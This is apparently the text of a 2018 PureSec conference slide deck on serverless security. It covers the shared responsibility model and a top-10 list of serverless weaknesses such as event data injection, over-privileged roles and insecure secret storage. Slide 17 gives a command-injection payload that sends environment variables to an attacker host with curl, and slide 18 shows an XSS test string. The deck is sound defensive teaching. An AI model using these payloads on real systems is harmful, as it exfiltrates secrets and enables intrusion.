This document provides an overview of serverless security. It discusses how serverless architectures require securing applications from within function code since the application owner has no control over infrastructure. The top 10 most common serverless weaknesses are also presented, including function event data injection, insecure serverless deployment configuration, over privileged function permissions, and insecure application secrets storage. Monitoring, dependencies, and error handling are also covered as security concerns in serverless applications.

1. The Only Constant
is Change
An overview of Serverless
Security
February 2018 © 2018 PureSec

2. P U R E S E C
© 2017 PureSec
• I’m Ory Segal, CTO&Co-Founder @ PureSec.
• I’ve beeninvolved in application securityfor the past 20yrs.
• Responsiblefor the security researchbehind: IBM AppScan, Sanctum AppShield & AkamaiKona
Cloud Security
• Author of 20patents inthe fields ofWeb Security, SAST, DAST, IASTand automated threat
intelligence.
• WASC officer, OWASP
• Twitter:@orysegal

3. Agenda
• Serverless architectures overview
• Security in the age of serverless
• Top 10 most common serverless weaknesses
3

4. 4https://www.puresec.io/puresec-state-of-serverless-security

5. What Is Serverless?

6. Serverless Architecture - Example
6

7. Serverless Benefits
No servers to manage
Continuous scaling
Sub-second metering
7
{ f(x) }
= Speed up time to market

8. Serverless Is Exploding
Cumulative Downloads of Popular Serverless Deployment Tools
Most Loved Platforms, Developers Survey 2017

9. The Major Providers Are Pushing It Forward
“serverless computation is going to
fundamentally not only change the
economics of what is back-end
computing, but it’s going to be the core of
the future of distributed computing.”
(Satya Nadella, 2017)
“large generations of customers will skip
instances and containers and go right to
serverless - in fact, if Amazon.com were
starting today, it would go serverless.”
(Andy Jassy, 2017)

10. Security in the Age of
Serverless
10

11. The Application Owner Has the
Responsibility of Securing the Application
Layer
FaaS Provider
Responsible
for security
“in” the cloud
Regions Availability Zones Edge Locations
Compute Storage Database Networking
Operating System + Virtual Machines + Containers
Application
Owner
Responsible
for security
“in” the cloud
Applications (Functions)
Identity & Access Management Cloud Services configuration
Client-Side Data in Cloud Data in Transit

12. Serverless Mandates a New Category of
Application Security
Traditional Security
Focuses on protecting
applications by securing the
network and servers
Serverless
The application owner doesn't
have any control over the
infrastructure
Traditional security solutions have become irrelevant

13. Serverless Functions Must Be Protected From
Within the Functions Code
Constraint:
By definition, only the function’s code is under the app owner’s
control
Paradigm Shift:
Secure the function execution itself, rather than the
infrastructure
Security must be integral to the function itself

14. Serverless Security - The Fly in the
Ointment
• Traditional security protections are unsuitable
• Security testing is challenging (DAST, IAST, SAST)
• Increased attack surface (surface amplification)
• Plethora of input data types (event triggers)
14

15. Serverless Security Top 10 Guide
Research by PureSec, together with:
https://www.puresec.io/resource-download

16. Serverless Security Top 10 Most Common
Weaknesses

17. SAS-1: Function Event Data Injection
17
The serverless-angle:
• Many types of event triggers, means
many types of input formats, and
many entry points
• Traditional protections such as WAF
are incapable of inspecting non-
HTTP event trigger data
Occurs when untrusted input is passed
directly to an interpreter and eventually
gets executed or evaluated
In a nutshell:
foobar@some.site; env | curl -H "Content-Type: text/plain" -X POST -d @-
http://attacker.site/collector

18. SAS-1: More Examples
18
Send messages via a RESTful API MySQLDump via Email
Curl "https://../send/sms?message=foo%3Cscript%3Ealert('xss')%3B%3C%2Fscript%3E"

19. SAS-2: Broken Authentication
19
The serverless-angle:
• Serverless promotes Nano-Services 
many digital properties to enforce
authentication on
• Serverless functions may expose
unnecessary entry points
• Some functions may be triggered by less
secure cloud services
• IoT device authentication can sometimes
be tricky to implement
A weak authentication implementation
might enable an attacker to bypass
application logic and manipulate its flow
In a nutshell:
Example: API gateway enforces auth., but an S3 bucket with public access,
serves as another ”rogue” entry point (triggering a Lambda)

20. SAS-3: Insecure Serverless Deployment
Configuration
20
The serverless-angle:
• Unauthenticated (public) cloud storage access
• Unauthenticated Web-to-Function access
• Unencrypted storage (secrets, DBs, file storage)
• Complex & tedious IAM permissions and roles
• Multiple versions of the same function
Cloud and serverless vendors in particular, offer many
customizations and configuration settings, some of which have
critical security implications.
Defaults != the most secure
In a nutshell:

21. SAS-4: Over Privileged Function Permissions
& Roles
21
The Least Privileged concept, helps reduce the “blast
radius” in case something goes wrong.
The serverless-angle:
• Functions should only be given permission required to
properly perform their task
• Serverless promotes nano-services architecture, which
means a complex roles & permissions model to manage
• When functions receive over-permissive rights, each
function becomes a potential attack target, and can be
leveraged for lateral movement
In a nutshell:

22. SAS-5: Inadequate Function Monitoring &
Logging
22
The serverless-angle:
• Serverless functions execute in the cloud, and are “ephemeral”
• Traditional “on premise” or host-based security monitoring
solutions irrelevant. Event monitoring tools & procedures are inapt
• Existing logging facilities provided by cloud vendors are not always
good enough, or disregarded by teams unfamiliar with such
capabilities
• Every cyber “intrusion kill chain” usually commences with a reconnaissance phase
• A key element in most successful major breaches was the lack of real-time incident response,
which was caused by failure to detect early signals of an attack
In a nutshell:
?

23. SAS-6: Insecure 3rd Party Dependencies
23
The serverless-angle:
• Serverless functions are usually compact and focused.
This means that developers must import 3rd party logic
from (potentially) untrusted sources
• Vulnerable packages
• Packages with “shady” intents
Even the most secure application will become
vulnerable when introduced with vulnerable 3rd party
dependencies
In a nutshell:

24. SAS-7: Insecure Application Secrets Storage
24
The serverless-angle:
• Serverless functions are oftentimes stateless. This means that
in order to persist data, developers are required to use
environment variables or insecure configuration files
• Storing secrets securely, requires using a key management
system, which not every developer is accustomed to, especially
in cloud environments
Storing sensitive data, encryption keys or other types of application
secrets, in an insecure fashion, can lead to data leakage
In a nutshell:

25. SAS-8: Denial of Service & Denial of
Wallet
25
The serverless-angle:
• Poor design & coding, can easily turn a simple serverless function into a DoS target – especially
when such functions expose public APIs
• Application layer DoS (e.g. ReDoS or Billion-Laughs-Attack) becomes the most prominent
weakness to worry about
• Traditional IP-based request throttling or blacklisting are irrelevant in many scenarios
• Instead of denying other users from service (DoS), attackers can attempt to cause excessive
usage, and inflict a financial penalty on the victim company (Denial of Wallet)
• During the past decade, we have seen a dramatic increase in the frequency and volume of
Denial of Service (DoS) attacks – largest attack seen was 1 Tbps!
• While serverless architectures bring a promise of automated scalability and high availability,
they do impose some limitations and issues which require attention
In a nutshell:

26. SAS-9: Function Execution Flow
Manipulation
26
The serverless-angle:
• In some serverless apps, each functions may use a
chain of invocation. the order of invocation might be
critical for achieving the desired logic
• Design might assume that certain functions are only
invoked under specific scenarios and only by
authorized invokers
• AWS Step Functions, Azure Logic Apps and Durable
Functions (serverless state machines)
• Manipulation of application flow may help
attackers to subvert application logic
• Attackers can eventually bypass access
controls, elevate user privileges or even
mount a Denial of Service attack
In a nutshell:

27. SAS-10: Verbose Error Messages &
Exceptions
27
The serverless-angle:
• Since many developers are making their first steps in
serverless, there is a tendency to:
• Use over-verbose error messages
• Enable debugging environment variables and
eventually forget to clean the code when moving it
to the production environment
• Raise your hand if you never used debug printing!
• Available options for performing line-by-line
debugging of serverless based applications is rather
limited
In a nutshell:

28. We Are
Hiring!
VP Product Management
Software Development Team Lead
Email us: careers@puresec.io